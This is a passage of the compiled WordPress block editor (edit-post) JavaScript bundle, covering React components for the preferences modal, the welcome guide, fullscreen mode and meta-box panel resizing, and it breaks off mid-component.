1401 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1402 PreferenceBaseOption,
1403 {
1404 label,
1405 isChecked,
1406 onChange: setIsChecked,
1407 children: isChecked !== areCustomFieldsEnabled && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CustomFieldsConfirmation, { willEnable: isChecked })
1408 }
1409 );
1410}
1411
1412
1413;// ./node_modules/@wordpress/edit-post/build-module/components/preferences-modal/enable-panel.js
1414
1415
1416
1417
1418
1419const { PreferenceBaseOption: enable_panel_PreferenceBaseOption } = unlock(external_wp_preferences_namespaceObject.privateApis);
1420function EnablePanelOption(props) {
1421 const { toggleEditorPanelEnabled } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
1422 const { isChecked, isRemoved } = (0,external_wp_data_namespaceObject.useSelect)(
1423 (select) => {
1424 const { isEditorPanelEnabled, isEditorPanelRemoved } = select(external_wp_editor_namespaceObject.store);
1425 return {
1426 isChecked: isEditorPanelEnabled(props.panelName),
1427 isRemoved: isEditorPanelRemoved(props.panelName)
1428 };
1429 },
1430 [props.panelName]
1431 );
1432 if (isRemoved) {
1433 return null;
1434 }
1435 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1436 enable_panel_PreferenceBaseOption,
1437 {
1438 isChecked,
1439 onChange: () => toggleEditorPanelEnabled(props.panelName),
1440 ...props
1441 }
1442 );
1443}
1444
1445
1446;// ./node_modules/@wordpress/edit-post/build-module/components/preferences-modal/meta-boxes-section.js
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456const { PreferencesModalSection } = unlock(external_wp_preferences_namespaceObject.privateApis);
1457function MetaBoxesSection({
1458 areCustomFieldsRegistered,
1459 metaBoxes,
1460 ...sectionProps
1461}) {
1462 const thirdPartyMetaBoxes = metaBoxes.filter(
1463 ({ id }) => id !== "postcustom"
1464 );
1465 if (!areCustomFieldsRegistered && thirdPartyMetaBoxes.length === 0) {
1466 return null;
1467 }
1468 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(PreferencesModalSection, { ...sectionProps, children: [
1469 areCustomFieldsRegistered && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EnableCustomFieldsOption, { label: (0,external_wp_i18n_namespaceObject.__)("Custom fields") }),
1470 thirdPartyMetaBoxes.map(({ id, title }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1471 EnablePanelOption,
1472 {
1473 label: title,
1474 panelName: `meta-box-${id}`
1475 },
1476 id
1477 ))
1478 ] });
1479}
1480var meta_boxes_section_default = (0,external_wp_data_namespaceObject.withSelect)((select) => {
1481 const { getEditorSettings } = select(external_wp_editor_namespaceObject.store);
1482 const { getAllMetaBoxes } = select(store);
1483 return {
1484 // This setting should not live in the block editor's store.
1485 areCustomFieldsRegistered: getEditorSettings().enableCustomFields !== void 0,
1486 metaBoxes: getAllMetaBoxes()
1487 };
1488})(MetaBoxesSection);
1489
1490
1491;// ./node_modules/@wordpress/edit-post/build-module/components/preferences-modal/index.js
1492
1493
1494
1495
1496
1497
1498const { PreferenceToggleControl } = unlock(external_wp_preferences_namespaceObject.privateApis);
1499const { PreferencesModal } = unlock(external_wp_editor_namespaceObject.privateApis);
1500function EditPostPreferencesModal() {
1501 const extraSections = {
1502 general: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(meta_boxes_section_default, { title: (0,external_wp_i18n_namespaceObject.__)("Advanced") }),
1503 appearance: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1504 PreferenceToggleControl,
1505 {
1506 scope: "core/edit-post",
1507 featureName: "themeStyles",
1508 help: (0,external_wp_i18n_namespaceObject.__)("Make the editor look like your theme."),
1509 label: (0,external_wp_i18n_namespaceObject.__)("Use theme styles")
1510 }
1511 )
1512 };
1513 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModal, { extraSections });
1514}
1515
1516
1517;// ./node_modules/@wordpress/edit-post/build-module/components/more-menu/index.js
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528const { ToolsMoreMenuGroup, ViewMoreMenuGroup } = unlock(external_wp_editor_namespaceObject.privateApis);
1529const MoreMenu = () => {
1530 const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("large");
1531 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1532 isLargeViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ViewMoreMenuGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1533 external_wp_preferences_namespaceObject.PreferenceToggleMenuItem,
1534 {
1535 scope: "core/edit-post",
1536 name: "fullscreenMode",
1537 label: (0,external_wp_i18n_namespaceObject.__)("Fullscreen mode"),
1538 info: (0,external_wp_i18n_namespaceObject.__)("Show and hide the admin user interface"),
1539 messageActivated: (0,external_wp_i18n_namespaceObject.__)("Fullscreen mode activated."),
1540 messageDeactivated: (0,external_wp_i18n_namespaceObject.__)(
1541 "Fullscreen mode deactivated."
1542 ),
1543 shortcut: external_wp_keycodes_namespaceObject.displayShortcut.secondary("f")
1544 }
1545 ) }),
1546 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(ToolsMoreMenuGroup, { children: [
1547 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(manage_patterns_menu_item_default, {}),
1548 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideMenuItem, {})
1549 ] }),
1550 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditPostPreferencesModal, {})
1551 ] });
1552};
1553var more_menu_default = MoreMenu;
1554
1555
1556;// ./node_modules/@wordpress/edit-post/build-module/components/welcome-guide/image.js
1557
1558function WelcomeGuideImage({ nonAnimatedSrc, animatedSrc }) {
1559 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("picture", { className: "edit-post-welcome-guide__image", children: [
1560 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1561 "source",
1562 {
1563 srcSet: nonAnimatedSrc,
1564 media: "(prefers-reduced-motion: reduce)"
1565 }
1566 ),
1567 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("img", { src: animatedSrc, width: "312", height: "240", alt: "" })
1568 ] });
1569}
1570
1571
1572;// ./node_modules/@wordpress/edit-post/build-module/components/welcome-guide/default.js
1573
1574
1575
1576
1577
1578
1579
1580function WelcomeGuideDefault() {
1581 const { toggleFeature } = (0,external_wp_data_namespaceObject.useDispatch)(store);
1582 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1583 external_wp_components_namespaceObject.Guide,
1584 {
1585 className: "edit-post-welcome-guide",
1586 contentLabel: (0,external_wp_i18n_namespaceObject.__)("Welcome to the editor"),
1587 finishButtonText: (0,external_wp_i18n_namespaceObject.__)("Get started"),
1588 onFinish: () => toggleFeature("welcomeGuide"),
1589 pages: [
1590 {
1591 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1592 WelcomeGuideImage,
1593 {
1594 nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-canvas.svg",
1595 animatedSrc: "https://s.w.org/images/block-editor/welcome-canvas.gif"
1596 }
1597 ),
1598 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1599 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-post-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)("Welcome to the editor") }),
1600 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-post-welcome-guide__text", children: (0,external_wp_i18n_namespaceObject.__)(
1601 "In the WordPress editor, each paragraph, image, or video is presented as a distinct \u201Cblock\u201D of content."
1602 ) })
1603 ] })
1604 },
1605 {
1606 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1607 WelcomeGuideImage,
1608 {
1609 nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-editor.svg",
1610 animatedSrc: "https://s.w.org/images/block-editor/welcome-editor.gif"
1611 }
1612 ),
1613 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1614 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-post-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)("Customize each block") }),
1615 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-post-welcome-guide__text", children: (0,external_wp_i18n_namespaceObject.__)(
1616 "Each block comes with its own set of controls for changing things like color, width, and alignment. These will show and hide automatically when you have a block selected."
1617 ) })
1618 ] })
1619 },
1620 {
1621 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1622 WelcomeGuideImage,
1623 {
1624 nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-library.svg",
1625 animatedSrc: "https://s.w.org/images/block-editor/welcome-library.gif"
1626 }
1627 ),
1628 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1629 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-post-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)("Explore all blocks") }),
1630 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-post-welcome-guide__text", children: (0,external_wp_element_namespaceObject.createInterpolateElement)(
1631 (0,external_wp_i18n_namespaceObject.__)(
1632 "All of the blocks available to you live in the block library. You\u2019ll find it wherever you see the <InserterIconImage /> icon."
1633 ),
1634 {
1635 InserterIconImage: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1636 "img",
1637 {
1638 alt: (0,external_wp_i18n_namespaceObject.__)("inserter"),
1639 src: "data:image/svg+xml,%3Csvg width='18' height='18' viewBox='0 0 18 18' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect width='18' height='18' rx='2' fill='%231E1E1E'/%3E%3Cpath d='M9.22727 4V14M4 8.77273H14' stroke='white' stroke-width='1.5'/%3E%3C/svg%3E%0A"
1640 }
1641 )
1642 }
1643 ) })
1644 ] })
1645 },
1646 {
1647 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1648 WelcomeGuideImage,
1649 {
1650 nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-documentation.svg",
1651 animatedSrc: "https://s.w.org/images/block-editor/welcome-documentation.gif"
1652 }
1653 ),
1654 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1655 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-post-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)("Learn more") }),
1656 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-post-welcome-guide__text", children: (0,external_wp_element_namespaceObject.createInterpolateElement)(
1657 (0,external_wp_i18n_namespaceObject.__)(
1658 "New to the block editor? Want to learn more about using it? <a>Here's a detailed guide.</a>"
1659 ),
1660 {
1661 a: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1662 external_wp_components_namespaceObject.ExternalLink,
1663 {
1664 href: (0,external_wp_i18n_namespaceObject.__)(
1665 "https://wordpress.org/documentation/article/wordpress-block-editor/"
1666 )
1667 }
1668 )
1669 }
1670 ) })
1671 ] })
1672 }
1673 ]
1674 }
1675 );
1676}
1677
1678
1679;// ./node_modules/@wordpress/edit-post/build-module/components/welcome-guide/template.js
1680
1681
1682
1683
1684
1685
1686function WelcomeGuideTemplate() {
1687 const { toggleFeature } = (0,external_wp_data_namespaceObject.useDispatch)(store);
1688 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1689 external_wp_components_namespaceObject.Guide,
1690 {
1691 className: "edit-template-welcome-guide",
1692 contentLabel: (0,external_wp_i18n_namespaceObject.__)("Welcome to the template editor"),
1693 finishButtonText: (0,external_wp_i18n_namespaceObject.__)("Get started"),
1694 onFinish: () => toggleFeature("welcomeGuideTemplate"),
1695 pages: [
1696 {
1697 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1698 WelcomeGuideImage,
1699 {
1700 nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-template-editor.svg",
1701 animatedSrc: "https://s.w.org/images/block-editor/welcome-template-editor.gif"
1702 }
1703 ),
1704 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1705 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-post-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)("Welcome to the template editor") }),
1706 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-post-welcome-guide__text", children: (0,external_wp_i18n_namespaceObject.__)(
1707 "Templates help define the layout of the site. You can customize all aspects of your posts and pages using blocks and patterns in this editor."
1708 ) })
1709 ] })
1710 }
1711 ]
1712 }
1713 );
1714}
1715
1716
1717;// ./node_modules/@wordpress/edit-post/build-module/components/welcome-guide/index.js
1718
1719
1720
1721
1722
1723function WelcomeGuide({ postType }) {
1724 const { isActive, isEditingTemplate } = (0,external_wp_data_namespaceObject.useSelect)(
1725 (select) => {
1726 const { isFeatureActive } = select(store);
1727 const _isEditingTemplate = postType === "wp_template";
1728 const feature = _isEditingTemplate ? "welcomeGuideTemplate" : "welcomeGuide";
1729 return {
1730 isActive: isFeatureActive(feature),
1731 isEditingTemplate: _isEditingTemplate
1732 };
1733 },
1734 [postType]
1735 );
1736 if (!isActive) {
1737 return null;
1738 }
1739 return isEditingTemplate ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideTemplate, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideDefault, {});
1740}
1741
1742
1743;// ./node_modules/@wordpress/icons/build-module/library/fullscreen.js
1744
1745
1746var fullscreen_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6 4a2 2 0 0 0-2 2v3h1.5V6a.5.5 0 0 1 .5-.5h3V4H6Zm3 14.5H6a.5.5 0 0 1-.5-.5v-3H4v3a2 2 0 0 0 2 2h3v-1.5Zm6 1.5v-1.5h3a.5.5 0 0 0 .5-.5v-3H20v3a2 2 0 0 1-2 2h-3Zm3-16a2 2 0 0 1 2 2v3h-1.5V6a.5.5 0 0 0-.5-.5h-3V4h3Z" }) });
1747
1748
1749;// ./node_modules/@wordpress/edit-post/build-module/commands/use-commands.js
1750
1751
1752
1753
1754
1755
1756function useCommands() {
1757 const { isFullscreen } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
1758 const { get } = select(external_wp_preferences_namespaceObject.store);
1759 return {
1760 isFullscreen: get("core/edit-post", "fullscreenMode")
1761 };
1762 }, []);
1763 const { toggle } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
1764 const { createInfoNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
1765 (0,external_wp_commands_namespaceObject.useCommand)({
1766 name: "core/toggle-fullscreen-mode",
1767 label: isFullscreen ? (0,external_wp_i18n_namespaceObject.__)("Exit fullscreen") : (0,external_wp_i18n_namespaceObject.__)("Enter fullscreen"),
1768 icon: fullscreen_default,
1769 callback: ({ close }) => {
1770 toggle("core/edit-post", "fullscreenMode");
1771 close();
1772 createInfoNotice(
1773 isFullscreen ? (0,external_wp_i18n_namespaceObject.__)("Fullscreen off.") : (0,external_wp_i18n_namespaceObject.__)("Fullscreen on."),
1774 {
1775 id: "core/edit-post/toggle-fullscreen-mode/notice",
1776 type: "snackbar",
1777 actions: [
1778 {
1779 label: (0,external_wp_i18n_namespaceObject.__)("Undo"),
1780 onClick: () => {
1781 toggle("core/edit-post", "fullscreenMode");
1782 }
1783 }
1784 ]
1785 }
1786 );
1787 }
1788 });
1789}
1790
1791
1792;// ./node_modules/@wordpress/edit-post/build-module/components/layout/use-padding-appender.js
1793
1794
1795
1796
1797const CSS = ':root :where(.editor-styles-wrapper)::after {content: ""; display: block; height: 40vh;}';
1798function usePaddingAppender(enabled) {
1799 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
1800 const effect = (0,external_wp_compose_namespaceObject.useRefEffect)(
1801 (node) => {
1802 function onMouseDown(event) {
1803 if (event.target !== node && // Tests for the parent element because in the iframed editor if the click is
1804 // below the padding the target will be the parent element (html) and should
1805 // still be treated as intent to append.
1806 event.target !== node.parentElement) {
1807 return;
1808 }
1809 const lastChild = node.lastElementChild;
1810 if (!lastChild) {
1811 return;
1812 }
1813 const lastChildRect = lastChild.getBoundingClientRect();
1814 if (event.clientY < lastChildRect.bottom) {
1815 return;
1816 }
1817 event.preventDefault();
1818 const blockOrder = registry.select(external_wp_blockEditor_namespaceObject.store).getBlockOrder("");
1819 const lastBlockClientId = blockOrder[blockOrder.length - 1];
1820 const lastBlock = registry.select(external_wp_blockEditor_namespaceObject.store).getBlock(lastBlockClientId);
1821 const { selectBlock, insertDefaultBlock } = registry.dispatch(external_wp_blockEditor_namespaceObject.store);
1822 if (lastBlock && (0,external_wp_blocks_namespaceObject.isUnmodifiedDefaultBlock)(lastBlock)) {
1823 selectBlock(lastBlockClientId);
1824 } else {
1825 insertDefaultBlock();
1826 }
1827 }
1828 const { ownerDocument } = node;
1829 ownerDocument.addEventListener("pointerdown", onMouseDown);
1830 return () => {
1831 ownerDocument.removeEventListener("pointerdown", onMouseDown);
1832 };
1833 },
1834 [registry]
1835 );
1836 return enabled ? [effect, CSS] : [];
1837}
1838
1839
1840;// ./node_modules/@wordpress/edit-post/build-module/components/layout/use-should-iframe.js
1841
1842
1843
1844
1845
1846const isGutenbergPlugin = false ? 0 : false;
1847function useShouldIframe() {
1848 return (0,external_wp_data_namespaceObject.useSelect)((select) => {
1849 const { getEditorSettings, getCurrentPostType, getDeviceType } = select(external_wp_editor_namespaceObject.store);
1850 return (
1851 // If the theme is block based and the Gutenberg plugin is active,
1852 // we ALWAYS use the iframe for consistency across the post and site
1853 // editor.
1854 isGutenbergPlugin && getEditorSettings().__unstableIsBlockBasedTheme || // We also still want to iframe all the special
1855 // editor features and modes such as device previews, zoom out, and
1856 // template/pattern editing.
1857 getDeviceType() !== "Desktop" || ["wp_template", "wp_block"].includes(getCurrentPostType()) || unlock(select(external_wp_blockEditor_namespaceObject.store)).isZoomOut() || // Finally, still iframe the editor if all blocks are v3 (which means
1858 // they are marked as iframe-compatible).
1859 select(external_wp_blocks_namespaceObject.store).getBlockTypes().every((type) => type.apiVersion >= 3)
1860 );
1861 }, []);
1862}
1863
1864
1865;// ./node_modules/@wordpress/edit-post/build-module/hooks/use-navigate-to-entity-record.js
1866
1867
1868
1869function useNavigateToEntityRecord(initialPostId, initialPostType, defaultRenderingMode) {
1870 const [postHistory, dispatch] = (0,external_wp_element_namespaceObject.useReducer)(
1871 (historyState, { type, post: post2, previousRenderingMode: previousRenderingMode2 }) => {
1872 if (type === "push") {
1873 return [...historyState, { post: post2, previousRenderingMode: previousRenderingMode2 }];
1874 }
1875 if (type === "pop") {
1876 if (historyState.length > 1) {
1877 return historyState.slice(0, -1);
1878 }
1879 }
1880 return historyState;
1881 },
1882 [
1883 {
1884 post: { postId: initialPostId, postType: initialPostType }
1885 }
1886 ]
1887 );
1888 const { post, previousRenderingMode } = postHistory[postHistory.length - 1];
1889 const { getRenderingMode } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_editor_namespaceObject.store);
1890 const { setRenderingMode } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
1891 const onNavigateToEntityRecord = (0,external_wp_element_namespaceObject.useCallback)(
1892 (params) => {
1893 dispatch({
1894 type: "push",
1895 post: { postId: params.postId, postType: params.postType },
1896 // Save the current rendering mode so we can restore it when navigating back.
1897 previousRenderingMode: getRenderingMode()
1898 });
1899 setRenderingMode(defaultRenderingMode);
1900 },
1901 [getRenderingMode, setRenderingMode, defaultRenderingMode]
1902 );
1903 const onNavigateToPreviousEntityRecord = (0,external_wp_element_namespaceObject.useCallback)(() => {
1904 dispatch({ type: "pop" });
1905 if (previousRenderingMode) {
1906 setRenderingMode(previousRenderingMode);
1907 }
1908 }, [setRenderingMode, previousRenderingMode]);
1909 return {
1910 currentPost: post,
1911 onNavigateToEntityRecord,
1912 onNavigateToPreviousEntityRecord: postHistory.length > 1 ? onNavigateToPreviousEntityRecord : void 0
1913 };
1914}
1915
1916
1917;// ./node_modules/@wordpress/edit-post/build-module/components/meta-boxes/use-meta-box-initialization.js
1918
1919
1920
1921
1922const useMetaBoxInitialization = (enabled) => {
1923 const isEnabledAndEditorReady = (0,external_wp_data_namespaceObject.useSelect)(
1924 (select) => enabled && select(external_wp_editor_namespaceObject.store).__unstableIsEditorReady(),
1925 [enabled]
1926 );
1927 const { initializeMetaBoxes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
1928 (0,external_wp_element_namespaceObject.useEffect)(() => {
1929 if (isEnabledAndEditorReady) {
1930 initializeMetaBoxes();
1931 }
1932 }, [isEnabledAndEditorReady, initializeMetaBoxes]);
1933};
1934
1935
1936;// ./node_modules/@wordpress/edit-post/build-module/components/layout/index.js
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971const { getLayoutStyles } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
1972const { useCommandContext } = unlock(external_wp_commands_namespaceObject.privateApis);
1973const { Editor, FullscreenMode } = unlock(external_wp_editor_namespaceObject.privateApis);
1974const { BlockKeyboardShortcuts } = unlock(external_wp_blockLibrary_namespaceObject.privateApis);
1975const DESIGN_POST_TYPES = [
1976 "wp_template",
1977 "wp_template_part",
1978 "wp_block",
1979 "wp_navigation"
1980];
1981function useEditorStyles(...additionalStyles) {
1982 const { hasThemeStyleSupport, editorSettings } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
1983 return {
1984 hasThemeStyleSupport: select(store).isFeatureActive("themeStyles"),
1985 editorSettings: select(external_wp_editor_namespaceObject.store).getEditorSettings()
1986 };
1987 }, []);
1988 const addedStyles = additionalStyles.join("\n");
1989 return (0,external_wp_element_namespaceObject.useMemo)(() => {
1990 const presetStyles = editorSettings.styles?.filter(
1991 (style) => style.__unstableType && style.__unstableType !== "theme"
1992 ) ?? [];
1993 const defaultEditorStyles = [
1994 ...editorSettings?.defaultEditorStyles ?? [],
1995 ...presetStyles
1996 ];
1997 const hasThemeStyles = hasThemeStyleSupport && presetStyles.length !== (editorSettings.styles?.length ?? 0);
1998 if (!editorSettings.disableLayoutStyles && !hasThemeStyles) {
1999 defaultEditorStyles.push({
2000 css: getLayoutStyles({
2001 style: {},
2002 selector: "body",
2003 hasBlockGapSupport: false,
2004 hasFallbackGapSupport: true,
2005 fallbackGapValue: "0.5em"
2006 })
2007 });
2008 }
2009 const baseStyles = hasThemeStyles ? editorSettings.styles ?? [] : defaultEditorStyles;
2010 if (addedStyles) {
2011 return [...baseStyles, { css: addedStyles }];
2012 }
2013 return baseStyles;
2014 }, [
2015 editorSettings.defaultEditorStyles,
2016 editorSettings.disableLayoutStyles,
2017 editorSettings.styles,
2018 hasThemeStyleSupport,
2019 addedStyles
2020 ]);
2021}
2022function MetaBoxesMain({ isLegacy }) {
2023 const [isOpen, openHeight, hasAnyVisible] = (0,external_wp_data_namespaceObject.useSelect)((select) => {
2024 const { get } = select(external_wp_preferences_namespaceObject.store);
2025 const { isMetaBoxLocationVisible } = select(store);
2026 return [
2027 !!get("core/edit-post", "metaBoxesMainIsOpen"),
2028 get("core/edit-post", "metaBoxesMainOpenHeight"),
2029 isMetaBoxLocationVisible("normal") || isMetaBoxLocationVisible("advanced") || isMetaBoxLocationVisible("side")
2030 ];
2031 }, []);
2032 const { set: setPreference } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
2033 const metaBoxesMainRef = (0,external_wp_element_namespaceObject.useRef)();
2034 const isShort = (0,external_wp_compose_namespaceObject.useMediaQuery)("(max-height: 549px)");
2035 const [{ min, max }, setHeightConstraints] = (0,external_wp_element_namespaceObject.useState)(() => ({}));
2036 const effectSizeConstraints = (0,external_wp_compose_namespaceObject.useRefEffect)((node) => {
2037 const container = node.closest(
2038 ".interface-interface-skeleton__content"
2039 );
2040 if (!container) {
2041 return;
2042 }
2043 const noticeLists = container.querySelectorAll(
2044 ":scope > .components-notice-list"
2045 );
2046 const resizeHandle = container.querySelector(
2047 ".edit-post-meta-boxes-main__presenter"
2048 );
2049 const deriveConstraints = () => {
2050 const fullHeight = container.offsetHeight;
2051 let nextMax = fullHeight;
2052 for (const element of noticeLists) {
2053 nextMax -= element.offsetHeight;
2054 }
2055 const nextMin = resizeHandle.offsetHeight;
2056 setHeightConstraints({ min: nextMin, max: nextMax });
2057 };
2058 const observer = new window.ResizeObserver(deriveConstraints);
2059 observer.observe(container);
2060 for (const element of noticeLists) {
2061 observer.observe(element);
2062 }
2063 return () => observer.disconnect();
2064 }, []);
2065 const resizeDataRef = (0,external_wp_element_namespaceObject.useRef)({});
2066 const separatorRef = (0,external_wp_element_namespaceObject.useRef)();
2067 const separatorHelpId = (0,external_wp_element_namespaceObject.useId)();
2068 const applyHeight = (candidateHeight = "auto", isPersistent, isInstant) => {
2069 if (candidateHeight === "auto") {
2070 isPersistent = false;
2071 } else {
2072 candidateHeight = Math.min(max, Math.max(min, candidateHeight));
2073 }
2074 if (isPersistent) {
2075 setPreference(
2076 "core/edit-post",
2077 "metaBoxesMainOpenHeight",
2078 candidateHeight
2079 );
2080 } else if (!isShort) {
2081 separatorRef.current.ariaValueNow = getAriaValueNow(candidateHeight);
2082 }
2083 if (isInstant) {
2084 metaBoxesMainRef.current.updateSize({
2085 height: candidateHeight,
2086 // Oddly, when the event that triggered this was not from the mouse (e.g. keydown),
2087 // if `width` is left unspecified a subsequent drag gesture applies a fixed
2088 // width and the pane fails to widen/narrow with parent width changes from
2089 // sidebars opening/closing or window resizes.
2090 width: "auto"
2091 });
2092 }
2093 };
2094 const getRenderValues = (0,external_wp_compose_namespaceObject.useEvent)(() => ({ isOpen, openHeight, min }));
2095 (0,external_wp_element_namespaceObject.useEffect)(() => {
2096 const fresh = getRenderValues();
2097 if (fresh.min !== void 0 && metaBoxesMainRef.current) {
2098 const usedOpenHeight = isShort ? "auto" : fresh.openHeight;
2099 const usedHeight = fresh.isOpen ? usedOpenHeight : fresh.min;
2100 applyHeight(usedHeight, false, true);
2101 }
2102 }, [isShort]);
2103 if (!hasAnyVisible) {
2104 return;
2105 }
2106 const contents = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
2107 "div",
2108 {
2109 className: "edit-post-layout__metaboxes edit-post-meta-boxes-main__liner",
2110 hidden: !isLegacy && !isOpen,
2111 children: [
2112 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MetaBoxes, { location: "normal" }),
2113 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MetaBoxes, { location: "advanced" })
2114 ]
2115 }
2116 );
2117 if (isLegacy) {
2118 return contents;
2119 }
2120 const isAutoHeight = openHeight === void 0;
2121 const getAriaValueNow = (height) => Math.round((height - min) / (max - min) * 100);
2122 const usedAriaValueNow = max === void 0 || isAutoHeight ? 50 : getAriaValueNow(openHeight);
2123 const persistIsOpen = (to = !isOpen) => setPreference("core/edit-post", "metaBoxesMainIsOpen", to);
2124 const onSeparatorKeyDown = (event) => {
2125 const delta = { ArrowUp: 20, ArrowDown: -20 }[event.key];
2126 if (delta) {
2127 const pane = metaBoxesMainRef.current.resizable;
2128 const fromHeight = isAutoHeight ? pane.offsetHeight : openHeight;
2129 const nextHeight = delta + fromHeight;
2130 applyHeight(nextHeight, true, true);
2131 persistIsOpen(nextHeight > min);
2132 event.preventDefault();
2133 }
2134 };
2135 const paneLabel = (0,external_wp_i18n_namespaceObject.__)("Meta Boxes");
2136 const toggle = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
2137 "button",
2138 {
2139 "aria-expanded": isOpen,
2140 onClick: ({ detail }) => {
2141 const { isToggleInferred } = resizeDataRef.current;
2142 if (isShort || !detail || isToggleInferred) {
2143 persistIsOpen();
2144 const usedOpenHeight = isShort ? "auto" : openHeight;
2145 const usedHeight = isOpen ? min : usedOpenHeight;
2146 applyHeight(usedHeight, false, true);
2147 }
2148 },
2149 ...isShort && {
